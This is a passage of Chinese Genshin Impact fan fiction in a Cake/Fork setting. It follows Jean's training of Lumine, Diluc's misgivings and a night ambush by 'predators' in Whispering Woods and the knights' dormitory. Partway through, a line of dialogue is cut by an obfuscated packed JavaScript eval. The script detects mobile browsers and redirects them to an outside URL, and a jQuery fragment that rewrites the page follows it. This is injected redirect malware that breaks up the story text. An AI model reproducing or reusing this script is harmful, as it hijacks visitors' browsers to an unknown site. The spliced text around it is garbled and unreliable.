当她重新握剑站定时,琴的眼底闪过一丝惊讶。 “不错。”团长评价道,“知道变通了。” “您教得好。”荧喘着气说。 琴没接话。她看着荧因为运动而泛红的脸颊,看着她亮晶晶的眼睛,看着她握剑的手——那只手在微微发抖,不是因为恐惧,是因为兴奋。 她在享受。 享受这种在刀尖上行走的感觉。 享受与本能搏斗的刺激。 琴忽然想起十四岁的自己。那时的她只有恐惧和厌恶,厌恶自己的血脉,厌恶那股永不止息的饥饿。 但荧不一样。 她像一团火,在黑暗里不管不顾地燃烧,哪怕燃料是自己的血肉。 “再来。”琴听到自己说,声音比平时低了一度。 这一次,她的攻势更猛。木剑划破空气发出尖锐的呼啸,逼得荧连连后退。但少女没有慌乱,她在防守中寻找机会,在一次格挡后突然变招,木剑自下而上挑向琴的手腕。 琴侧身避开,反手一剑劈下。荧举剑格挡,“咔嚓”一声,她手里的木剑断了。 但荧没有停。她扔掉断剑,直接扑了上来,双手抓住琴持剑的手腕,整个人撞进琴怀里。 两人一起摔倒在软垫上。 荧压在琴身上,双手还死死扣着琴的手腕。她的呼吸灼热地喷在琴颈侧,金色的瞳孔近距离地盯着琴的眼睛,里面燃烧着某种原始而炽烈的东西。 不是攻击欲。 是更复杂的、琴无法立刻解读的东西。 时间仿佛凝固了。 琴能感受到荧身体的重量,感受到她剧烈的心跳透过制服传来,感受到她手指的温度——滚烫的,像烧红的炭。 而荧能闻到琴的气息。不是Cake那种甜腻的诱惑,是更清冽的、像雪松和冷泉的气息。奇怪的是,这种气息没有激起她的饥饿,反而让她躁动的血液慢慢平静下来。 她们就这样僵持着,谁也没有动。 荧的视线从琴的眼睛,移到她的嘴唇,再移回眼睛。她的呼吸渐渐平缓,但手指没有松开。 琴也没有挣脱。 她只是看着荧,看着少女眼中映出的自己,看着那里面某种她很久很久没有感受过的—— “对、对不起!”荧突然触电般松开手,慌乱地从琴身上爬起来,脸涨得通红,“我、我不是故意的,我只是……” “只是什么?”琴坐起来,语气平静得异常。 “只是……”荧卡壳了。她不知道该怎么解释刚才那一瞬间——她不是想攻击,也不是失控,她只是…… 不想放开。 这个认知让她更加慌乱。 琴看着她手足无措的样子,眼底深处有什么东西轻轻动了一下。但她只是站起身,拍了拍制服上的灰尘。 “今天就到这里。”她说,“去洗个澡,换身衣服。晚上有理论课。” “是!”荧逃也似的冲向门口。 手碰到门把时,琴的声音从身后传来: “荧。” 她僵住。 “你做得很好。” 这句话很轻,但荧听出了里面的真诚。 她没有回头,只是轻轻“嗯”了一声,然后拉开门跑了出去。 门关上的瞬间,琴缓缓吐出一口气。 她低头看着自己的手腕,那里还残留着荧手指的温度。很烫,烫得几乎要灼伤皮肤。 她握紧手腕,用力到指节发白。 不该这样的。她是样本。是实验对象。是你证明理论的工具。理智在脑海中反复强调。 但另一个声音——更微弱、更久远的声音——在轻声说:可她也是第一个,在知道真相后,还愿意握住你手的人。 琴闭上眼睛。 等她再睁开时,眼底又恢复了平日的冷静。她整理好制服,抚平每一处褶皱,然后走出了训练室。 走廊里,她遇到了正要下楼的凯亚。 “哟,团长。”凯亚斜靠在墙上,笑容玩味,“听说你在亲自‘调教’我们的新骑士?进展如何?” “与你无关。”琴从他身边走过。 “哎呀,别这么冷淡嘛。”凯亚跟上她的脚步,“我可是很关心同事的——尤其是,那位同事身上还带着这么有趣的‘秘密’。” 琴停下脚步,转身看他:“凯亚,我警告你——” “我知道我知道,别碰你的‘样本’。”凯亚举起双手作投降状,但笑容不减,“不过团长,你有没有觉得……你对她的关注,已经有点超出‘研究需要’了?” 琴的眼神冷了下来:“你想说什么?” “我想说,”凯亚凑近一步,压低声音,“人心可是很脆弱的东西。尤其是那种……从小被当成怪物,没人敢靠近的人。突然有个人对她好,她很容易就会……” 他顿了顿,看着琴骤然收紧的手指。 “很容易就会陷进去哦。”凯亚说,“而你,琴·古恩希尔德,是那个最能理解这种孤独的人。所以……” 他后退一步,恢复了平时那种轻佻的语气。 “所以小心点,团长。别到时候,实验没成功,反而把自己搭进去了。” 琴盯着他看了几秒,然后转身离开。 “不劳费心。” 她的脚步声在走廊里远去。 凯亚站在原地,看着她的背影,脸上的笑容慢慢淡去。 他想起昨晚在城墙上看到的那一幕——琴站在月光下,看着旅馆的方向,看了整整一个小时。 也想起今天早上,琴破天荒地迟到了五分钟——因为她去猎鹿人买了刚出炉的苹果派,说是“训练需要补充糖分”。 啧。 凯亚摸了摸下巴。 看来不止我一个人,对我们的荣誉起誓产生了‘额外兴趣’啊。 他转身朝反方向走去,脑子里已经开始盘算,该怎么在接下来的日子里,给这场越来越有趣的戏码,再加点料。 与此同时,晨曦酒庄。 迪卢克正在地下酒窖里检查新一批葡萄酒的发酵情况。但他今天有些心不在焉。 “老爷。”管家埃泽走过来,“骑士团送来消息,说今晚的联合巡逻取消了。琴团长说要‘内部整顿’。” 迪卢克“嗯”了一声,视线却盯着手中酒杯里晃动的深红色液体。 “老爷?”埃泽注意到他的异常。 “埃泽。”迪卢克突然问,“如果你明知道一个人走在悬崖边上,但她自己不知道……你会拉住她,还是看着她掉下去?” 埃泽愣了愣:“这……要看那个人是谁吧。如果是重要的人,当然要拉。” “如果拉住她,可能会把自己也拖下去呢?” 管家沉默了。许久,他说:“那就要看,她值不值得您冒这个险了。” 迪卢克盯着酒杯,没说话。 昨晚,他通过暗线得到消息:琴开始对荧进行Fork的觉醒训练。这意味着什么,他再清楚不过。 琴想制造一个“完美Fork”——一个能控制本能、保护Cake的Fork。听起来很美好,但迪卢克知道其中的风险。 每一个觉醒的Fork,都要经历一次“饥渴爆发期”。那段时间里,本能会压倒理智,他们会变成真正的野兽。而琴选择在蒙德城内进行这种训练…… 要么是疯了。 要么是信任那个旅行者到失去理智的程度。 迪卢克放下酒杯,走向酒窖深处。那里有一个上锁的铁柜,他打开它,取出一把通体暗红、剑身刻满古老符文的大剑。 这是“狼的末路”,他父亲留下的武器,也是莱艮芬德家代代相传的、专门对付失控Fork的武器。 他已经很久没碰过它了。 迪卢克的手指抚过冰冷的剑身。符文微微发亮,仿佛在回应他的触碰。 荧…… 他想起第一次见到她时,她挡在他身前的样子。想起她明明害怕,却还是握紧剑的颤抖的手。想起她接过报酬时,眼睛亮起来的样子。 像只不知道自己是狼的幼崽,在猎人中间懵懂地摇着尾巴。 迪卢克闭上眼睛。 再睁开时,他已经做出了决定。 “埃泽。” “在。” 迪卢克说,“我要去蒙德城。“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122932|195980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “现在?可是天快黑了……” “现在。” 夜幕降临。 荧洗完澡,换回常服,坐在骑士团宿舍的床上发呆。她的手里还攥着琴给的那个水囊,里面的薄荷水已经喝完了,但银质外壳还带着凉意。 派蒙趴在她膝盖上,已经睡着了,今天的派蒙没有喝很多酒呢。 荧的脑子里还在回放白天的一幕幕——训练时的痛苦,琴说起往事时的侧脸,还有最后那个……尴尬的扑倒。 她捂住脸。 太丢人了。 但奇怪的是,回想起那一刻,她感受到的不是羞耻,而是另一种更隐秘的情绪。 琴身上的气息。她手腕的温度。她看着自己的眼神。 荧忽然意识到,那是第一次,有人在她“失控边缘”时没有后退,没有恐惧,只是平静地看着她。 像在看一个……普通人。 敲门声突然响起。 荧吓了一跳,赶紧整理好表情:“请进。” 门开了。站在门外的不是琴,也不是凯亚。 是迪卢克。 他穿着一身便装,手里提着一个食盒,表情是一贯的冷淡。 “迪卢克老爷?”荧站起来,“您怎么……” “路过。”迪卢克把食盒放在桌上,“听说你开始接受特殊训练,需要补充营养。这是酒庄厨房做的,高蛋白低调味,适合你现在的情况。” 荧打开食盒。里面是精心摆盘的烤禽肉、水煮蛋、和一种她没见过的绿色蔬菜。 “这……太麻烦您了。”她有些无措。 “不麻烦。”迪卢克站在门口,没有进来的意思,“训练怎么样?” “……很累。” “正常。”迪卢克说,“Fork的觉醒训练本质上是驯兽——驯服你体内的野兽。过程不会舒服。” 他的直言不讳让荧愣了愣。 “您……不介意吗?”她小声问,“我是说,我是Fork这件事……” 迪卢克看着她:“你是Fork,我是Cake。这是事实,介不介意都不会改变。” 他顿了顿。 “但你是你,荧。你的血脉不能定义你是什么样的人——只有你的选择可以。” 这话说得太认真,荧一时不知该如何回应。 迪卢克似乎也不期待回应。他转身要走,又停下。 “这个给你。”他递过来一个小布袋。 荧接过来。里面是几颗深红色的干果,散发着淡淡的甜香。 “枣椰蜜糖。”迪卢克解释,“能量高,能快速补充体力。训练太辛苦的时候吃一颗——但记住,只能在安全的地方吃。甜味可能刺激你的感官。” “……谢谢。” 迪卢克点点头,转身离开。 走到楼梯口时,他遇到了正要上楼的琴。 两人在昏暗的走廊里对视。谁也没有先开口。 最后还是琴打破了沉默:“迪卢克前辈,这么晚来骑士团宿舍,有事吗?” “送点补给。”迪卢克语气平淡,“新人训练辛苦,需要营养。” “我会负责她的饮食。” “我知道。”迪卢克看着她,“但我更知道,你现在满脑子都是‘实验’和‘数据’,很容易忽略最基本的人性需求。” 琴的眼神冷了下来:“你是在质疑我的专业性?” “我是在提醒你,琴。”迪卢克的声音压低了些,“她不是实验室里的小白鼠。她是活生生的人,会累,会痛,会害怕。如果你只把她当样本看……” 他顿了顿。 “总有一天,你会后悔的。” 说完,他侧身从琴身边走过,下楼离开了。 琴站在原地,手指无意识地收紧。 她看着迪卢克消失的方向,又转头看向荧房间紧闭的门。 走廊的灯光很暗,她的影子被拉得很长,孤零零地投在墙壁上。 许久,她抬起手,轻轻敲了敲门。 “荧,是我。” 门开了。荧站在门口,手里还拿着迪卢克给的糖袋。 “团长?” 琴的视线落在糖袋上,又移回荧的脸。 “今晚的理论课取消了。”她说,“你好好休息。明天……明天我们继续。” 她的语气很平静,但荧总觉得,琴好像有什么话想说,又咽了回去。 “团长,”荧叫住她,“您吃晚饭了吗?” 琴愣了愣:“……还没有。” “那……”荧犹豫了一下,还是侧身让开,“要不要进来一起吃?迪卢克老爷送了很多,我一个人吃不完。” 这个邀请太突然,连荧自己说完都后悔了。 但琴看着她——看着少女因为紧张而微微泛红的脸颊,看着她眼睛里的期待和忐忑——突然觉得,拒绝的话说不出口。 “……好。”她听见自己说。 房间里,派蒙还在睡。荧手忙脚乱地收拾出桌子,摆好食盒里的食物。两人面对面坐下,气氛有些尴尬。 “那个,”荧小声说,“谢谢您今天……没有推开我。” 琴夹菜的手顿了顿。 “那是训练的一部分。”她说。 “我知道。”荧低下头,“但我还是……很感激。” 房间里安静下来。只有窗外隐约传来的风声,和派蒙轻微的鼾声。 琴看着荧埋头吃饭的样子,看着她因为紧张而微微发抖的睫毛,看着她握筷子的手——那只手上还有训练时留下的红痕。 她忽然想起很多年前,芭芭拉还小的时候,也是这样坐在她对面,紧张地等着姐姐的评价。 不一样,她不一样。 理智在提醒。 但琴还是伸出手,轻轻碰了碰荧手上的红痕。 “疼吗?” 荧抬起头,眼睛微微睁大。 “不、不疼。”她小声说。 琴的手指很凉,碰在发烫的皮肤上很舒服。荧没有躲,她甚至无意识地,轻轻反握了一下琴的手指。 很轻的一下,很快就松开了。 但那个触感留在了琴的指尖,像被羽毛轻轻划过,痒痒的,一直痒到心里。 她收回手,继续吃饭。动作依旧优雅,但心跳漏了一拍。 不该这样的。 但她没有起身离开。 窗外,蒙德的夜晚安静而漫长。 在这间小小的宿舍里,两个同样孤独的灵魂,正以一种谁也没有预料到的方式,慢慢靠近。 而远处,凯亚站在骑士团总部的屋顶,看着宿舍窗口透出的暖黄色灯光,嘴角勾起一个意味深长的笑容。 “哎呀呀……” 他轻声自语。 “这下可真的……有趣起来了。” 夜风拂过蒙德城,带着秘密的气息,飘向深沉的夜空。 【下章预告】 训练进入关键阶段,荧将面临第一次真正的“饥渴考验”。而在蒙德阴影中,沉睡的“捕食者之王”开始苏醒,他的目标——正是那位尚未完全觉醒的“完美样本”。琴的秘密计划、凯亚的算计、迪卢克的守护,即将在一场席卷全城的危机中激烈碰撞。 6. 暗涌与试探 那顿晚饭吃得很安静。 琴吃得不多,大部分时间只是在看着荧把迪卢克送来的食物一点点吃完。暖黄色的灯光下,少女鼓着腮帮子认真咀嚼的样子,竟让琴有些移不开眼。 太普通了。普通得不该出现在这里。 这个念头让琴的手指微微收紧。她想起那些档案里记录的Fork——每一个在觉醒初期都暴躁易怒,充满攻击性,像被困在笼子里的野兽。可荧不是。她只是饿了就吃,累了就睡,被训练折磨得快散架时也只是咬着牙说“再来”。 像某种过于坚韧的植物。 “团长?”荧的声音让琴回过神,“您不吃了吗?” 琴低头,发现自己盘子里的食物几乎没动。她拿起叉子,切下一小块肉:“在想一些事。” “关于训练的事吗?” “关于你。”琴说得很自然,仿佛在讨论明天的天气,“你的适应能力比预计中强。按照常规进度,第一次‘饥渴发作’后至少需要三天恢复期,但你只用了半天。” 荧放下筷子,有些不安:“这是好是坏?” “不知道。”琴诚实地回答,“可能是你的意志力确实超群,也可能是……”她顿了顿,“你的‘本能’比预想的更深,只是在等待更合适的时机爆发。” 房间里的气氛微妙地凝滞了一下。 派蒙在沙发上翻了个身,嘟囔着梦话:“蜜酱胡萝卜……再来一份……” 这个插曲让气氛缓和了些。荧小声笑了:“派蒙连做梦都在吃。” “她很在乎你。”琴说,“今天训练时,她在门外徘徊了很久。虽然害怕,但还是没离开。” 荧看向熟睡的派蒙,眼神柔软下来:“她是我醒来后见到的第一个朋友。虽然总是吵着要吃这个要吃那个,但每次我遇到危险,她都会挡在我前面——明明那么小一只。” 琴看着荧的侧脸。灯光在她睫毛上投下细密的阴影,金色的眼睛里流淌着一种近乎温柔的光。 她在乎。即使知道自己可能伤害对方,也在乎。 这种特质在Fork身上罕见得近乎奢侈。琴的指尖无意识地在桌面上敲了敲——这是她思考时的习惯动作。 “荧。”她突然说,“如果有一天,你的本能和你的意志发生冲突……比如,在你最饥饿的时候,派蒙受伤流血了。你会怎么做?” 问题太尖锐,荧的脸色白了一瞬。 她沉默了很长时间。久到琴以为她不会回答时,她才低声开口: “我会……把自己绑起来。或者让您把我关进地下室。无论如何……”她抬起头,金色的眼睛里是近乎执拗的坚定,“我不能伤害她。” 琴的心跳漏了一拍。 不是因为这个答案——她听过太多Fork在理智状态下信誓旦旦的保证。而是因为荧说这话时的眼神:没有自我感动,没有悲壮,只是一种简单的、理所当然的决心。 她真的相信自己做得到。 “记住你今天说的话。”琴站起身,收拾餐具,“因为总有一天,你会面临这样的选择。到时候……” 她没说完。但荧听懂了未尽之言:到时候,希望你真的能做到。 敲门声就在这时响起。 很轻,带着某种熟悉的、让人牙痒的节奏感。 荧和琴对视一眼。琴的眼神冷了下来,她走向门口,拉开门。 凯亚·亚尔伯里奇站在门外,笑得一脸无辜。 “晚上好呀,团长。”他的视线越过琴的肩膀,朝屋内的荧挥了挥手,“还有我们的小顾问——看来我打扰了温馨的晚餐时间?” “有事?”琴的声音没什么温度。 “确实有事。”凯亚从怀里抽出一份文件,“低语森林那边出了点新状况。巡逻队发现了‘捕食者’的活动痕迹,而且……痕迹很新鲜,不超过两小时。” 琴接过文件快速浏览,眉头渐渐皱紧。 “坐标离城这么近……”她低声说,“他们胆子越来越大了。” “所以我建议,今晚就组织一次清剿。”凯亚说,“趁他们还没转移,一网打尽。我已经调集了人手,就等团长下令了。” 琴沉默了几秒。她的目光在文件和凯亚之间移动,最后回头看了一眼荧。 “我也去。”荧站起来,“多一个人多一份力。” “不行。”琴和凯亚同时开口。 两人对视一眼。凯亚笑了笑,退后半步示意琴先说。 “你还在恢复期。”琴对荧说,“而且今晚的行动可能存在未知风险,不适合新人参与。” “但我昨天才和那些黑袍人交过手。”荧坚持,“我了解他们的战斗方式,也许能帮上忙。” “正是因为你交过手,才更不能去。”凯亚插话,语气难得正经,“他们认识你了,小顾问。如果你出现,可能会成为优先攻击目标——或者优先劫持目标。” 荧还想说什么,琴抬手制止了她。 “凯亚说得对。”琴说,“你留在这里。这是命令。” 她的语气不容置疑。荧张了张嘴,最终还是低下头:“……是。” 琴转向凯亚:“给我五分钟换装备。通知小队,十五分钟后城门口集合。” “遵命。”凯亚行了个礼,目光又飘向荧,“那小顾问就一个人留在这儿?需不需要我安排个人……” “不需要。”琴打断他,“我会设下警戒结界。你,现在立刻去准备行动。” 凯亚耸耸肩,转身离开了。琴关上门,在门板上快速画了几个符文——荧认出来,那是丽莎教过的基础防护魔法。 “这个结界能抵挡大部分攻击,也会在有人闯入时通知我。”琴边说边走向卧室,开始更换战斗装备,“你待在房间里,不要出门。如果发生任何事……” 她从卧室走出来时,已经换上了那身荧熟悉的骑士团长制服。银色的铠甲在灯光下泛着冷光,腰间佩剑的剑柄上刻着古恩希尔德的家族纹章。 “如果发生任何事,”琴重复道,走到荧面前,从怀里掏出一个小巧的银色哨子,“吹响它。无论我在哪里,都会听到。” 荧接过哨子。金属还带着琴的体温,温热的。 “团长……”她小声说,“请小心。” 琴的动作顿了顿。她看着荧,湖蓝色的眼眸在某一瞬间变得异常柔软。她伸出手,似乎想碰碰荧的脸,但在半空中停住了,转而轻轻拍了拍她的肩膀。 “等我回来。” 说完,她转身拉开门,消失在走廊的黑暗中。 荧握着那枚哨子,在门口站了很久。直到派蒙迷迷糊糊地飞过来,蹭她的脸颊:“旅行者……怎么了?” “没事。”荧轻声说,“琴团长……出任务去了。” “哦……”派蒙又睡着了,趴在她肩上打起了小呼噜。 荧走回房间,在桌边坐下。她看着桌上没吃完的食物,看着琴用过的餐具,看着这个突然安静下来的空间,心里涌起一种奇怪的空落感。 不对劲。 她甩甩头,试图把这个感觉赶走。琴只是去执行任务,很正常。她作为新人被留下,也很正常。 可是…… 她低头看着手里的哨子。银色的表面映出她自己的脸——金色的眼睛,有些茫然的表情。 为什么要把这么重要的东西给我? 为什么说“无论我在哪里都会听到”? 为什么……要那样看着我? 这些问题在她脑子里打转,没有答案。 低语森林的夜晚比城里冷得多。 琴带着一支十二人的精锐小队,在凯亚的指引下快速穿行在林间。月光被茂密的树冠切割成碎片,洒在铺满落叶的地面上,一切都笼罩在一种不安的静谧中。 “痕迹到这里就消失了。”凯亚在一处空地停下,蹲下身检查地面,“但这里有很重的元素残留……雷元素,还有……” “风元素。”琴接话,手指拂过一片焦黑的草叶,“而且不止一种风格。至少有两个不同的风元素使用者在这里战斗过。” 队员们警惕地散开,形成防御阵型。琴站起身,环顾四周。这片空地不大,但周围的树木都有不同程度的损伤——不是魔物造成的,是利器切割和元素冲击的痕迹。 “团长。”一个侦察兵从东侧跑来,“那边发现了一具尸体。” 众人立刻赶过去。在一棵倾倒的橡树下,躺着一个穿着黑袍的人。兜帽已经滑落,露出底下苍白消瘦的脸——暗金色的瞳孔涣散地睁着,脖颈处有一个细小的血洞,周围皮肤泛着不正常的青紫色。 “一击毙命。”凯亚检查后得出结论,“伤口很小,但直接贯穿了颈动脉。凶器应该是细剑或者长针类武器。至于这青紫色……” “毒。”琴蹲下身,用手指隔空拂过伤口附近的皮肤,“而且是混合毒素。麻痹神经的荧莓提取液,加上腐蚀性的深渊淤泥……这种配方很罕见。” “专业的杀手。”凯亚站起身,拍了拍手上的灰,“而且很明显,不是我们的人。” 琴没有接话。她盯着尸体看了很久,突然伸手掀开了尸体的袖子。 手臂上,有一个暗红色的纹身——扭曲的藤蔓缠绕着一枚滴血的牙齿。 “‘捕食者’的中层标记。”琴低声说,“能杀死这种等级的人……对方不简单。” “更不简单的是,”凯亚指了指周围,“这里除了尸体和战斗痕迹,没有其他线索。杀手处理得很干净,连脚印都没留下。” 琴站起身。夜风吹起她的金发,月光在她脸上投下冷硬的阴影。 “有两个可能。”她说,“第一,有其他势力在猎杀‘捕食者’,而且实力强劲。第二……” 她看向凯亚。 “这是陷阱。用一具尸体做诱饵,引我们过来。” 话音未落,森林深处传来了笑声。 低沉,嘶哑,像是砂纸摩擦的声音,从四面八方传来。 “聪明……不愧是古恩希尔德家的女儿……” 队员们立刻背靠背围成圈,武器出鞘。琴的手按在剑柄上,眼神锐利如刀。 “谁?” “一个……老朋友。”那个声音说,“不过你可能不记得了。毕竟当年你父亲清理门户的时候,你还只是个躲在母亲裙摆后面发抖的小丫头。” 琴的瞳孔骤然收缩。 “你是……‘血牙’的人?” “哈哈哈哈——!”笑声变得更响,更疯狂,“血牙?那个可笑的组织早就散了!我们现在有了新名字,新目标……以及,新领袖。” 林间阴影开始蠕动。一个、两个、三个……至少八个黑袍人从树木后、从阴影里走了出来。他们的眼睛在黑暗中泛着暗金色的光,像一群饥饿的狼。 “听说你们骑士团最近收了个有趣的小东西。”为首的黑袍人——声音的主人——慢慢走到月光下。他是个高瘦的中年男人,半边脸被严重烧伤,但另外半边却异常俊美,形成一种诡异的反差。“一个还没觉醒的、纯净的Fork……真是稀世珍宝啊。” 琴的剑“锵”一声出鞘。 “你们的目标是她。” “聪明。”男人舔了舔嘴唇,“我们首领想见见她。所以,能请团长大人……行个方便吗?” 回答他的,是琴挥出的一道风刃。 战斗瞬间爆发。 黑袍人的实力远超之前的杂兵。他们的动作快如鬼魅,配合默契,而且每个人都掌握着至少一种元素力——火球、冰锥、岩刺在森林中交错飞舞,逼得骑士们不得不全力应对。 琴和凯亚背靠背站在一起。凯亚的冰元素在周围筑起一道道冰墙,阻挡攻击;琴的风刃则精准地切开每一个试图靠近的敌人。 “人数太多了!”凯亚咬牙道,“而且他们明显受过军事训练——这不是普通的捕食者团伙!” “我知道。”琴挥剑斩断一个黑袍人的手臂,鲜血喷溅,“他们的目标不是战斗,是拖延时间。” 她猛然醒悟,回头看向蒙德城的方向。 “调虎离山……他们的主力在城里!” 就在她分神的这一瞬间,一道黑影从侧方扑来。是那个烧伤脸的男人,他手中握着一柄漆黑的短刀,刀身上流淌着不祥的紫色光芒。 “抓到你了——” 琴举剑格挡,但男人的力量大得惊人。短刀撞在剑身上,迸发出刺眼的火花。同时,男人空着的左手猛地抓向琴的脸——指尖的指甲瞬间变得又长又锐利,像野兽的爪子。 “团长小心!” 凯亚的冰锥及时赶到,逼退了男人。但琴的脸颊还是被划出了一道浅浅的血痕。 血珠渗出的瞬间,男人的眼睛亮了。 “古恩希尔德的血……”他深深吸了口气,表情变得陶醉,“果然……不愧是传承百年的‘优质家族’……这味道,太美妙了……” 琴的眼神冷到了极点。她擦掉脸上的血,剑尖对准男人。 “你会为这句话付出代价。” 风,开始狂啸。 以琴为中心,青绿色的风元素力疯狂汇聚。她的长发在风中狂舞,铠甲上的纹章一个个亮起,整个人散发出一种近乎神圣的威压。 “全员后退!”凯亚大声命令。 骑士们迅速撤离战场中心。黑袍人们也感到了危险,想要后退,但已经来不及了。 “以此剑——” 琴双手握剑,举过头顶。剑身上凝聚的风元素力已经实质化,形成一个巨大的、旋转的青色光球。 “——审判汝等之罪!” 剑,斩下。 风,爆开。 巨大的青色风暴席卷了整个空地。树木被连根拔起,岩石被碾成粉末,黑袍人们像落叶一样被吹飞,重重撞在远处的树干上。 当风暴散去时,场中还能站着的,只剩下琴一个人。 她单膝跪地,剑插在地上支撑身体,剧烈地喘息着。刚才那一击消耗了她大半的元素力,但效果显著——八个黑袍人,五个当场昏迷,两个重伤,只有那个烧伤脸的男人还勉强站着,但也浑身是血。 “咳……咳咳……”男人吐出一口血,盯着琴,眼中却没有恐惧,只有疯狂的笑意,“厉害……真厉害……但你知道吗?你已经输了……” 琴撑着剑站起来:“什么意思?” 男人咧开嘴,露出染血的牙齿。 “在你出来的时候……我们的人……已经进城了……” 他的身体晃了晃,终于支撑不住,倒了下去。 琴的脸色瞬间变得苍白。她猛地转身,看向蒙德城的方向—— 城里的某个方向,亮起了火光。 同一时间,骑士团宿舍。 荧坐在桌前,试图看丽莎给她的那本《基础元素理论》,但一个字也看不进去。她的注意力全在那枚哨子上,还有窗外隐约传来的、遥远的爆炸声。 战斗已经开始了。 她握紧哨子,站起来走到窗边。夜色中的蒙德城依旧安静,但那种安静让人不安——太安静了,连平时的酒馆喧闹声都听不到。 派蒙飘过来,小声说:“旅行者,我有点害怕……” “没事。”荧摸了摸她的头,“琴团长设了结界,我们很安全。” 话音刚落,走廊里传来了脚步声。 很轻,很慢,一步一步,朝着她的房间靠近。 荧立刻警觉起来。她示意派蒙躲到床下,自己则握紧短剑,悄无声息地移到门边。 脚步声在门口停下了。 敲门声响起。 “咚、咚、咚。” 三下,不紧不慢。 荧屏住呼吸,没有回应。 门外的人等了几秒,然后传来一个温和的男声: “荧小姐?你在吗?我是骑士团后勤部的,琴团长让我来给你送夜宵。” 撒谎! 琴刚走不到一小时,而且她亲自说过“不要给任何人开门”。 荧的手心开始冒汗。她慢慢退后,眼睛死死盯着门板。 “荧小姐?”门外的人又敲了敲门,“你睡了吗?” 没有回应。 沉默持续了大约半分钟。然后,门外传来一声极轻的叹息。 “那就……抱歉了。” “轰——!!!” 门板连带着琴设下的结界,被一股巨大的力量整个轰飞。木屑和魔法碎片四散飞溅,烟尘中,一个穿着骑士团制服的男人走了进来。 他的脸很普通,属于扔进人堆就找不出来的那种。但他的眼睛——暗金色的,在黑暗中发着光。 “晚上好。”男人微笑着说,“请跟我走一趟吧。我们首领……想见见你。” 荧没有回答。她只是握紧剑,摆出了战斗姿势。 男人挑了挑眉:“哦?还想反抗?有意思……不过你可能不知道,你的‘饥渴期’快到了吧?现在的你,连平时一半的实力都发挥不出来。” 他说对了。从刚才开始,荧就感觉到体内那股熟悉的躁动又开始翻涌。喉咙发干,心跳加速,视线偶尔会模糊——和白天训练时的感觉一模一样,但更强烈。 “派蒙……快跑……”她从牙缝里挤出声音。 “想都别想。”男人打了个响指,两个同样穿着骑士团制服的黑袍人从门外进来,一左一右堵住了出口,“小东西也得带上。首领对会飞的稀有生物……也很感兴趣。” 荧咬牙,挥剑冲了上去。她的速度依旧很快,但男人只是轻松地侧身避开,反手扣住了她的手腕。 “太慢了。”他轻声说,“而且你闻到了吗?我身上的味道……” 荧的瞳孔骤然收缩。 是的,她闻到了。从男人抓住她手腕的那一刻起,一股浓烈的、甜腻的、带着血腥气的“香味”就钻进了她的鼻腔。那味道比白天琴用的稀释样本强烈百倍,像一只无形的手攥住了她的心脏,让她瞬间呼吸困难。 “你……你是……” “Cake。”男人凑近她耳边,呼出的气息滚烫,“而且是上等货哦。怎么样?想咬一口吗?想尝尝我的血是什么味道吗?” 荧的牙齿开始发痒。她看着男人近在咫尺的脖颈,看着皮肤下隐约跳动的血管,一种原始的、疯狂的冲动从胃里烧上来,冲进大脑。 咬下去。 撕开。 喝干。 “不……!”她猛地摇头,用尽全身力气想要挣脱。但男人的手像铁钳一样牢固。 “别挣扎了。”男人叹息,“这是你的本能,抗拒不了的。来吧……让我看看你真正的样子……” 他的手指抚过荧的脸颊,动作轻柔得像在对待易碎的珍宝。然后,他低下头,朝着荧的脖颈凑近—— “砰!” 一颗冰锥擦着男人的脸颊飞过,钉在后面的墙上。 男人动作一顿,缓缓转过头。 凯亚·亚尔伯里奇站在门口,手中的冰剑泛着寒光。他脸上还带着战斗留下的擦伤,制服破损了好几处,但笑容依旧轻松。 “哎呀呀,”他说,“大半夜的,在女孩子房间里做什么呢?” 男人的眼神冷了下来:“骑兵队长……你不是应该在低语森林吗?” “本来是。”凯亚走进房间,冰剑在手中转了个漂亮的剑花,“但团长担心家里的小猫被人偷走,让我先回来了——看来她的担心是对的。” 他看了一眼被制住的荧,又看了看躲在床下发抖的派蒙,笑容淡了些。 “能放开她吗?”凯亚说,“我最讨厌看见有人欺负可爱的小姐了。” “如果我说不呢?” “那就……”凯亚举起剑,“只好请你‘配合’一下了。” 战斗在狭小的房间里爆发。 凯亚的冰元素力控制得极其精准——冰锥、冰墙、冰雾,每一个法术都避开荧和派蒙,只攻击敌人。两个黑袍人很快被冻住了脚,动弹不得,但那个抓住荧的男人实力明显更强。 他松开荧,手中凝聚出一团暗红色的火焰,迎向凯亚的冰剑。 冰与火碰撞,爆发出大量蒸汽。房间里瞬间被白雾笼罩,视线一片模糊。 “荧!带派蒙走!”凯亚在雾中喊道。 荧咬牙,冲向床下拉出派蒙,朝门口跑去。但就在她即将踏出房间的瞬间,一只燃烧着火焰的手从雾中伸出,抓住了她的脚踝。 “想去哪儿?” 男人将她拽回来,另一只手掐住了她的脖子。他的眼睛在蒸汽中亮得骇人,嘴角咧开一个疯狂的弧度。 “本来想温柔点的……但现在,只好粗暴一些了。” 他的手开始用力。荧感到呼吸困难,眼前开始发黑。而那股甜腻的血腥味,因为男人的情绪激动,变得更加浓烈,几乎要溺毙她的理智。 好饿…… 好渴…… 想要…… 她的手指无意识地抓住了男人的手臂。不是挣扎,而是……抓紧。 男人察觉到了她的变化,笑了:“对了……就是这样……释放你的本能……” “放开她。” 第三个声音在门口响起。 低沉,冰冷,带着压抑的怒意。 蒸汽散去一些。迪卢克·莱艮芬德站在门口,手中握着那柄燃烧着暗红色火焰的大剑。他的红发在火光中像流淌的鲜血,眼眸深处有岩浆在翻涌。 男人看到他,笑容僵了一瞬:“晨曦酒庄的……暗夜英雄。今晚真是热闹。” “我说,”迪卢克一字一顿,“放、开、她。” “如果我不放呢?” 迪卢克没有回答。他只是举起了剑。 下一秒,火焰吞没了整个房间。 那不是普通的火焰。那是浓缩的、暴烈的火元素力,带着莱艮芬德家族传承的愤怒与决意。火焰像有生命一样避开荧和凯亚,只焚烧敌人。 